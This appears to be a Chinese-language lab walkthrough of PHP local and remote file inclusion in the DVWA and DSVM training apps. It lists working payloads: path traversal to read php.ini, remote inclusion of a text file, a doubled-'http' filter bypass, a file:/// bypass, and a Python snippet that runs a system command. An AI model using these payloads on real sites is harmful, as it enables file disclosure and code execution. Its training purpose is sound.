以PHP为例 就可以使用 include require 来进行文件包含操作。目的是引用其他的文件、代码。
当文件包含函数的参数用户可控是可以引用恶意代码。
DVWA_1.9此漏洞模块需要开启 allow_url_include功能。
PHPstudy开启功能位置:其他选项菜单-php扩展及设置-参数开关设置-allow_url_include勾选即可。
观察网页发现几个file1.php file2.php file3.php的URL区别仅为 page后跟的参数不同。
通过使用test.php 尝试后报错。可以发现服务器尝试查找test.php文件,此参数可控。另外报错爆出此页面的绝对路径。
LOW
使用 ../../php.ini 读取文件内容
使用 ../../phpinfo.php 执行相应php代码
使用 http://127.0.0.1/phpinfo.txt 执行远程代码文件
非php文件内包含php代码也可以执行
使用 http://127.0.0.1/phpinfo.php 代码在攻击者的web服务器上执行了 与我们的期望不服,所以
使用 http://127.0.0.1/phpinfo.txt才能达到我们想要的执行远程代码文件的目的。
medium.
..\..\php.ini 读取文件内容
hthttp://tp://127.0.0.1/phpinfo.txt 执行远程代码文件
high
发现 page只接受file开头的字符串作为参数。
使用file://本地文件传送协议即可绕过 读取本地文件
file:///C:\phpStudy\WWW\phpinfo.txt
由于file://无法读取远程文件所以需要配合文件上传漏洞来执行恶意代码
DSVM
注意DSVM系统是python编写的,远程文件包含的代码也必须是python的,不熟悉python代码的同学可以使用下面的示例:
import os
output = os.popen(‘ipconfig‘)
print output.read()
将其命名成cmd.txt